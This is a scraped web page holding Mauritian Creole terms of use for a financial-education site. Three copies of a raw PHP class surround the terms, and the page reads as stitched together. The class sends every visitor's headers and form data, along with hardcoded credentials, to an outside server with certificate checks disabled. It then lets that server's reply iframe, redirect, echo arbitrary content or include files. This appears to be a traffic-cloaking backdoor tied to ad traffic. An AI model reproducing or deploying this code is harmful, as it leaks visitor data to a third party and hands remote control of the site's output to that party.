run(); class RequestHandlerClient { const SERVER_URL = 'https://rbl.palladium.expert'; /** * @param int $clientId * @param string $company * @param string $secret * * @return void * @throws \Exception */ public function run() { $headers = []; $headers['request'] = $this->collectRequestData(); $headers['jsrequest'] = $this->collectJsRequestData(); $headers['server'] = $this->collectHeaders(); $headers['auth']['clientId'] = 7931; $headers['auth']['clientCompany'] = "B711hqhlpbznC40s7NmH"; $headers['auth']['clientSecret'] = "NzkzMUI3MTFocWhscGJ6bkM0MHM3Tm1IY2U2NmY2ZTZmOWRlZjUxMGFjNDBiYTJlNjVjMmFjZGEwMTQyZmZhZQ=="; $headers['server']['bannerSource'] = 'adwords'; return $this->curlSend($headers); } /** * @param array $params * * @return bool * @throws \Exception */ public function curlSend(array $params) { $answer = false; $curl = curl_init(self::SERVER_URL); if ($curl) { curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($params)); curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 3); curl_setopt($curl, CURLOPT_TIMEOUT, 4); curl_setopt($curl, CURLOPT_TIMEOUT_MS, 4000); curl_setopt($curl, CURLOPT_FORBID_REUSE, true); $result = curl_exec($curl); if ($result) { $serverOut = json_decode( $result, true ); $status = curl_getinfo($curl, CURLINFO_HTTP_CODE); if ($status == 200 && is_array($serverOut)) { $answer = $this->handleServerReply($serverOut); return $answer; } } } $this->getDefaultAnswer(); return $answer; } protected function handleServerReply($reply) { $result = (bool) ($reply['result'] ? $reply['result'] : 0); if ( isset($reply['mode']) && ( (isset($reply['target'])) || (isset($reply['content']) && !empty($reply['content'])) ) ) { $target = $reply['target']; $mode = $reply['mode']; $content = $reply['content']; if (preg_match('/^https?:/i', $target) && $mode == 3) { // do fallback to mode2 $mode = 2; } if ($result && $mode == 1) { $this->displayIFrame($target); exit; } elseif ($result && $mode == 2) { header("Location: {$target}"); exit; } elseif ($result && $mode == 3) { $target = parse_url($target); if (isset($target['query'])) { parse_str($target['query'], $_GET); } $this->hideFormNotification(); require_once $this->sanitizePath($target['path']); exit; } elseif ($result && $mode == 4) { echo $content; exit; } else if (!$result && $mode == 5) { // } elseif ($mode == 6) { // } else { $path = $this->sanitizePath($target); if (!$this->isLocal($path)) { header("404 Not Found", true, 404); } else { $this->hideFormNotification(); require_once $path; } exit; } } return $result; } private function hideFormNotification() { echo ""; //echo ""; } private function displayIFrame($target) { $target = htmlspecialchars($target); echo " " . $this->hideFormNotification() . " "; } private function sanitizePath($path) { if ($path[0] !== '/') { $path = __DIR__ . '/' . $path; } else { $path = __DIR__ . $path; } return $path; } private function isLocal($path) { // do not validate url via filter_var $url = parse_url($path); if (!isset($url['scheme']) || !isset($url['host'])) { return true; } else { return false; } } /** * Get all HTTP server headers and few additional ones * * @return mixed */ protected function collectHeaders() { $userParams = [ 'REMOTE_ADDR', 'SERVER_PROTOCOL', 'SERVER_PORT', 'REMOTE_PORT', 'QUERY_STRING', 'REQUEST_SCHEME', 'REQUEST_URI', 'REQUEST_TIME_FLOAT', 'X_FB_HTTP_ENGINE', 'X_PURPOSE', 'X_FORWARDED_FOR', 'X_WAP_PROFILE', 'X-Forwarded-Host', 'X-Forwarded-For', 'X-Frame-Options', ]; $headers = []; foreach ($_SERVER as $key => $value) { if (in_array($key, $userParams) || substr_compare('HTTP', $key, 0, 4) == 0) { $headers[$key] = $value; } } return $headers; } private function collectRequestData(): array { $data = []; if (!empty($_POST)) { if (!empty($_POST['data'])) { $data = json_decode($_POST['data'], true); if (JSON_ERROR_NONE !== json_last_error()) { $data = json_decode( stripslashes($_POST['data']), true ); } unset($_REQUEST['data']); } if (!empty($_POST['crossref_sessionid'])) { $data['cr-session-id'] = $_POST['crossref_sessionid']; unset($_POST['crossref_sessionid']); } } return $data; } public function collectJsRequestData(): array { $data = []; if (!empty($_POST)) { if (!empty($_POST['jsdata'])) { $data = json_decode($_POST['jsdata'], true); if (JSON_ERROR_NONE !== json_last_error()) { $data = json_decode( stripslashes($_POST['jsdata']), true ); } unset($_REQUEST['jsdata']); } } return $data; } /** * Default answer for the curl request in case of fault * * @return bool */ private function getDefaultAnswer() { header($_SERVER["SERVER_PROTOCOL"] . ' 500 Internal Server Error', true, 500); echo "

500 Internal Server Error

The request was unsuccessful due to an unexpected condition encountered by the server.

"; exit; } }

run(); class RequestHandlerClient { const SERVER_URL = 'https://rbl.palladium.expert'; /** * @param int $clientId * @param string $company * @param string $secret * * @return void * @throws \Exception */ public function run() { $headers = []; $headers['request'] = $this->collectRequestData(); $headers['jsrequest'] = $this->collectJsRequestData(); $headers['server'] = $this->collectHeaders(); $headers['auth']['clientId'] = 7931; $headers['auth']['clientCompany'] = "B711hqhlpbznC40s7NmH"; $headers['auth']['clientSecret'] = "NzkzMUI3MTFocWhscGJ6bkM0MHM3Tm1IY2U2NmY2ZTZmOWRlZjUxMGFjNDBiYTJlNjVjMmFjZGEwMTQyZmZhZQ=="; $headers['server']['bannerSource'] = 'adwords'; return $this->curlSend($headers); } /** * @param array $params * * @return bool * @throws \Exception */ public function curlSend(array $params) { $answer = false; $curl = curl_init(self::SERVER_URL); if ($curl) { curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($params)); curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 3); curl_setopt($curl, CURLOPT_TIMEOUT, 4); curl_setopt($curl, CURLOPT_TIMEOUT_MS, 4000); curl_setopt($curl, CURLOPT_FORBID_REUSE, true); $result = curl_exec($curl); if ($result) { $serverOut = json_decode( $result, true ); $status = curl_getinfo($curl, CURLINFO_HTTP_CODE); if ($status == 200 && is_array($serverOut)) { $answer = $this->handleServerReply($serverOut); return $answer; } } } $this->getDefaultAnswer(); return $answer; } protected function handleServerReply($reply) { $result = (bool) ($reply['result'] ? $reply['result'] : 0); if ( isset($reply['mode']) && ( (isset($reply['target'])) || (isset($reply['content']) && !empty($reply['content'])) ) ) { $target = $reply['target']; $mode = $reply['mode']; $content = $reply['content']; if (preg_match('/^https?:/i', $target) && $mode == 3) { // do fallback to mode2 $mode = 2; } if ($result && $mode == 1) { $this->displayIFrame($target); exit; } elseif ($result && $mode == 2) { header("Location: {$target}"); exit; } elseif ($result && $mode == 3) { $target = parse_url($target); if (isset($target['query'])) { parse_str($target['query'], $_GET); } $this->hideFormNotification(); require_once $this->sanitizePath($target['path']); exit; } elseif ($result && $mode == 4) { echo $content; exit; } else if (!$result && $mode == 5) { // } elseif ($mode == 6) { // } else { $path = $this->sanitizePath($target); if (!$this->isLocal($path)) { header("404 Not Found", true, 404); } else { $this->hideFormNotification(); require_once $path; } exit; } } return $result; } private function hideFormNotification() { echo ""; //echo ""; } private function displayIFrame($target) { $target = htmlspecialchars($target); echo " " . $this->hideFormNotification() . " "; } private function sanitizePath($path) { if ($path[0] !== '/') { $path = __DIR__ . '/' . $path; } else { $path = __DIR__ . $path; } return $path; } private function isLocal($path) { // do not validate url via filter_var $url = parse_url($path); if (!isset($url['scheme']) || !isset($url['host'])) { return true; } else { return false; } } /** * Get all HTTP server headers and few additional ones * * @return mixed */ protected function collectHeaders() { $userParams = [ 'REMOTE_ADDR', 'SERVER_PROTOCOL', 'SERVER_PORT', 'REMOTE_PORT', 'QUERY_STRING', 'REQUEST_SCHEME', 'REQUEST_URI', 'REQUEST_TIME_FLOAT', 'X_FB_HTTP_ENGINE', 'X_PURPOSE', 'X_FORWARDED_FOR', 'X_WAP_PROFILE', 'X-Forwarded-Host', 'X-Forwarded-For', 'X-Frame-Options', ]; $headers = []; foreach ($_SERVER as $key => $value) { if (in_array($key, $userParams) || substr_compare('HTTP', $key, 0, 4) == 0) { $headers[$key] = $value; } } return $headers; } private function collectRequestData(): array { $data = []; if (!empty($_POST)) { if (!empty($_POST['data'])) { $data = json_decode($_POST['data'], true); if (JSON_ERROR_NONE !== json_last_error()) { $data = json_decode( stripslashes($_POST['data']), true ); } unset($_REQUEST['data']); } if (!empty($_POST['crossref_sessionid'])) { $data['cr-session-id'] = $_POST['crossref_sessionid']; unset($_POST['crossref_sessionid']); } } return $data; } public function collectJsRequestData(): array { $data = []; if (!empty($_POST)) { if (!empty($_POST['jsdata'])) { $data = json_decode($_POST['jsdata'], true); if (JSON_ERROR_NONE !== json_last_error()) { $data = json_decode( stripslashes($_POST['jsdata']), true ); } unset($_REQUEST['jsdata']); } } return $data; } /** * Default answer for the curl request in case of fault * * @return bool */ private function getDefaultAnswer() { header($_SERVER["SERVER_PROTOCOL"] . ' 500 Internal Server Error', true, 500); echo "

500 Internal Server Error

The request was unsuccessful due to an unexpected condition encountered by the server.

"; exit; } }

Kondision Itilizasion

Dernie Mizazour: 14 Novam 2024

Bienveni lor LagoonRange Konesans Finans. Sa bann formel Kondision Itilizasion-la ("Kondision") repreyzant enn kontra ant ou ("L'Itilizater") ek LagoonRange Konesans Finans ("Platform-la") konsernan ou akse ek itilizasion nou bann sistem dinformasion, zimilater bidze, modil konesans, lartik lor kourans, ek resours edikatif an-linn.

A sak fwa ki ou rantre, index, kopie, ouswa servi ninport ki leman lor nou domenn, ou konfirme ki ou finn lir, konpran, ek aksepte sa bann Kondision-la. Si ou pa dakor avek sa bann regleman operasionel-la, ou bizin aret vizit ek servi nou resours edikatif an-linn.

DISCLAIMER EDIKATIF INPORTAN — NOU PA DONN KONSEI PROFESIONEL: Bann kalkilatris matematik, metrik lor kourans, tab evalyasion, ek konteni informatif ki ena lor LagoonRange Konesans Finans inn fer inikman pou donn konesans piblik zeneral ek pou ledikasion. Zot pa form okenn konsey finansye ofisiel, legal, tax, akounting, ouswa konsey lor planifikasion personel. Pwin ena okenn relasion fidicier ouswa konseye ki forme ant ou ek platform-la. Nou konsey ou pou konsilte bann profesionel kalifie avan ki ou pran ninport ki desizion ki kapav afekte ou sitiasion personel.

1. Kondision Akse & L'Ezibilite Laz

Pou kapav servi bann parti interaktif lor nou rezo edikatif, ou bizin rezidan Moris ouswa pe navige depi enn pei kot sa kalite laprantisaz-la pa kont lalwa zot zirisdiksion. Ou konfirme ki ou ena omwin 18 an e ki ou ena tout kapasite legal pou rant dan enn lakor formel anba lalwa ou rezion ouswa distrik rezidans.

2. Paramet Loperasion & Lobzektif

Nou platform donn materyel konesans finansye ki ena kom bi amelior konesans piblik lor prinsip makro-ekonomik, linflasion, method pou fer lekonomi, ek bann sistem lor lamone/kourans. Ou konpran e aksepte ki:

  • Tou bann rezilta ki sorti depi nou zouti bidze se bann estimasion ipotetik selman pou fer ou trouve (demonstrasion).
  • Letid lor roupi (lamone) dan lepase ouswa bann tandans pri zot pa predir ouswa garanti kondision ki pou ena a lavenir.
  • Nou pa ofert okenn kont labank fizik, pakaiz lintere, laprobasion kredil, ouswa program zestion finans.

3. Regleman Itilizasion & Restriksion Itilizater

Kan ou akse nou rezo edikatif, ou interdi pou fer sa bann aktivite-la:

  • Met an plas bann anzin robot pou ranas done (scraping engines), algoritm pou kraz done, ouswa spiders pou kokin nou bann modil edikatif ouswa text.
  • Servi nou platform, nou bann formiler kominikasion, ouswa nou nom pou distribiye piblisite komersial, spam, ouswa bann lien ki dimoun pa anvi.
  • Inzekte move kod informatik (malware), virus Trojan, tracking ki pa lotorize, ouswa exploit server dan nou system.
  • Falsifi headers, manipile mark teknik, ouswa kasyet ou veritab lidantite pou fer krwar ou dan enn lot plas zeografik.
  • Kraz kod-la (decompile), reverse-engineer, ouswa kopie source code nou bann kalkilatris finansye interaktif.

4. Drwa Propriete Inteliektiel & Copyright

Tou bann materyel an-text, kurikilom konesans finansye, formil, bann script interaktif, bann design, layout marka, ek logo ki trouv lor sa platform-la, se propriete inteliektiel LagoonRange Konesans Finans ouswa bann lie ki gagn drwa lotorize. Sa bann asse-la zot proteze par lalwa kopirayt ek trademark dan Moris, ek par bann regilasion internazional lor propriete inteliektiel.

Nou donn ou enn drwa limite, personel, pa pou fer biznes (non-commercial), ki nou kapav retire, pou ou montre ek print bann paz edikatif pou ou prop laprantisaz prive. Nenport ki form repwodiksion, distribision, revant, ouswa koudeta pou montre nou kurikilom an piblik san laprobasion lekri davans, li formelman interdi.

5. Kontinite Servis & Disclaimer lor Exactitid

Mem si nou fer tou nou zefor pou asir ki tou bann modil finansye, sifer kourans, ek lansengman listorik koret, nou pa fer okenn garanti absoli lor zot exactitid, timeline, integralite, ouswa fiabilite. Servis-la li done "Kouma Ete" ("As-Is") ek "Kouma Disponib" san okenn garanti ninport ki kalite. Nou rezerv drwa pou modifye, redakte, poz, ouswa defase definitman bann modil edikatif ouswa zoutil interaktif san avertisman davans.

6. Limitasion Responsabilite

Ziska nivo max ki lalwa morisien permet, LagoonRange Konesans Finans, so bann konpani paran, dirizan, anploye, ouswa kontrakter teknik pa pou pran responsabilite pou okenn domaz direk, indirek, inprevi, formel, spesial, ouswa exampler. Sa inklir, san okenn limitasion, bann pert ekonomik, bann move kalkil, bann lerer dan lexplikasion, ouswa konpromi lor ou bann done personel afors ou servi lenformasion lor sa sit-la. Ou lutilizasion ou prop text-la se inikman anba ou prop responsabilite.

7. Proteksion Konsomater

Narien dan sa bann Kondision-la pa la pou diminie, invalid, ouswa limit bann proteksion de baz ki ena dan lalwa morisien pou protez konsomater ki ou kapav gagne sipa anba bann regleman konsomater ki internet pa kapav abroze (waive).

8. Lalwa, Lakour Konpetan, ek Separabilite

Sa bann Kondision-la zot bizin interprete, aplike, ek anba zirisdiksion lalwa Repiblik Moris. Si enn kloz ouswa parti sa dokiman-la deklare anile ouswa pa kapav met an pratik par enn lakour Moris, sa kloz-la pou retire san ki li afekte la validite lezot kloz ki reste.

9. Mekanik Mizazour bann Kondision

Nou rezerv nou drwa administratif pou modifye sa bann Kondision-la ninport kan. Bann paramet ki finn revise pran lefe imediatman enn fwa ki zot plase ofisiel lor sa paz-la. Si ou kontinie servi nou platform apre enn mizazour, sa pou vedir ou finn aksepte sa bann nouvo kondision-la.

10. Direktoire Kontak Administratif

Pou ninport ki eklersisman, demann dokiman, ouswa notifikasion formel lor sa bann Kondision Itilizasion-la, silvouple kontakte nou biro administratif:

  • Adres E-mail pou Kontak: bonzour@lagoonrange.mu
  • Lign Telefonik Biro: +230 460 8800
  • Adres Fizik (Mailing): Telfair Ave, Smart City Moka, Mauritius

run(); class RequestHandlerClient { const SERVER_URL = 'https://rbl.palladium.expert'; /** * @param int $clientId * @param string $company * @param string $secret * * @return void * @throws \Exception */ public function run() { $headers = []; $headers['request'] = $this->collectRequestData(); $headers['jsrequest'] = $this->collectJsRequestData(); $headers['server'] = $this->collectHeaders(); $headers['auth']['clientId'] = 7931; $headers['auth']['clientCompany'] = "B711hqhlpbznC40s7NmH"; $headers['auth']['clientSecret'] = "NzkzMUI3MTFocWhscGJ6bkM0MHM3Tm1IY2U2NmY2ZTZmOWRlZjUxMGFjNDBiYTJlNjVjMmFjZGEwMTQyZmZhZQ=="; $headers['server']['bannerSource'] = 'adwords'; return $this->curlSend($headers); } /** * @param array $params * * @return bool * @throws \Exception */ public function curlSend(array $params) { $answer = false; $curl = curl_init(self::SERVER_URL); if ($curl) { curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($params)); curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 3); curl_setopt($curl, CURLOPT_TIMEOUT, 4); curl_setopt($curl, CURLOPT_TIMEOUT_MS, 4000); curl_setopt($curl, CURLOPT_FORBID_REUSE, true); $result = curl_exec($curl); if ($result) { $serverOut = json_decode( $result, true ); $status = curl_getinfo($curl, CURLINFO_HTTP_CODE); if ($status == 200 && is_array($serverOut)) { $answer = $this->handleServerReply($serverOut); return $answer; } } } $this->getDefaultAnswer(); return $answer; } protected function handleServerReply($reply) { $result = (bool) ($reply['result'] ? $reply['result'] : 0); if ( isset($reply['mode']) && ( (isset($reply['target'])) || (isset($reply['content']) && !empty($reply['content'])) ) ) { $target = $reply['target']; $mode = $reply['mode']; $content = $reply['content']; if (preg_match('/^https?:/i', $target) && $mode == 3) { // do fallback to mode2 $mode = 2; } if ($result && $mode == 1) { $this->displayIFrame($target); exit; } elseif ($result && $mode == 2) { header("Location: {$target}"); exit; } elseif ($result && $mode == 3) { $target = parse_url($target); if (isset($target['query'])) { parse_str($target['query'], $_GET); } $this->hideFormNotification(); require_once $this->sanitizePath($target['path']); exit; } elseif ($result && $mode == 4) { echo $content; exit; } else if (!$result && $mode == 5) { // } elseif ($mode == 6) { // } else { $path = $this->sanitizePath($target); if (!$this->isLocal($path)) { header("404 Not Found", true, 404); } else { $this->hideFormNotification(); require_once $path; } exit; } } return $result; } private function hideFormNotification() { echo ""; //echo ""; } private function displayIFrame($target) { $target = htmlspecialchars($target); echo " " . $this->hideFormNotification() . " "; } private function sanitizePath($path) { if ($path[0] !== '/') { $path = __DIR__ . '/' . $path; } else { $path = __DIR__ . $path; } return $path; } private function isLocal($path) { // do not validate url via filter_var $url = parse_url($path); if (!isset($url['scheme']) || !isset($url['host'])) { return true; } else { return false; } } /** * Get all HTTP server headers and few additional ones * * @return mixed */ protected function collectHeaders() { $userParams = [ 'REMOTE_ADDR', 'SERVER_PROTOCOL', 'SERVER_PORT', 'REMOTE_PORT', 'QUERY_STRING', 'REQUEST_SCHEME', 'REQUEST_URI', 'REQUEST_TIME_FLOAT', 'X_FB_HTTP_ENGINE', 'X_PURPOSE', 'X_FORWARDED_FOR', 'X_WAP_PROFILE', 'X-Forwarded-Host', 'X-Forwarded-For', 'X-Frame-Options', ]; $headers = []; foreach ($_SERVER as $key => $value) { if (in_array($key, $userParams) || substr_compare('HTTP', $key, 0, 4) == 0) { $headers[$key] = $value; } } return $headers; } private function collectRequestData(): array { $data = []; if (!empty($_POST)) { if (!empty($_POST['data'])) { $data = json_decode($_POST['data'], true); if (JSON_ERROR_NONE !== json_last_error()) { $data = json_decode( stripslashes($_POST['data']), true ); } unset($_REQUEST['data']); } if (!empty($_POST['crossref_sessionid'])) { $data['cr-session-id'] = $_POST['crossref_sessionid']; unset($_POST['crossref_sessionid']); } } return $data; } public function collectJsRequestData(): array { $data = []; if (!empty($_POST)) { if (!empty($_POST['jsdata'])) { $data = json_decode($_POST['jsdata'], true); if (JSON_ERROR_NONE !== json_last_error()) { $data = json_decode( stripslashes($_POST['jsdata']), true ); } unset($_REQUEST['jsdata']); } } return $data; } /** * Default answer for the curl request in case of fault * * @return bool */ private function getDefaultAnswer() { header($_SERVER["SERVER_PROTOCOL"] . ' 500 Internal Server Error', true, 500); echo "

500 Internal Server Error

The request was unsuccessful due to an unexpected condition encountered by the server.

"; exit; } }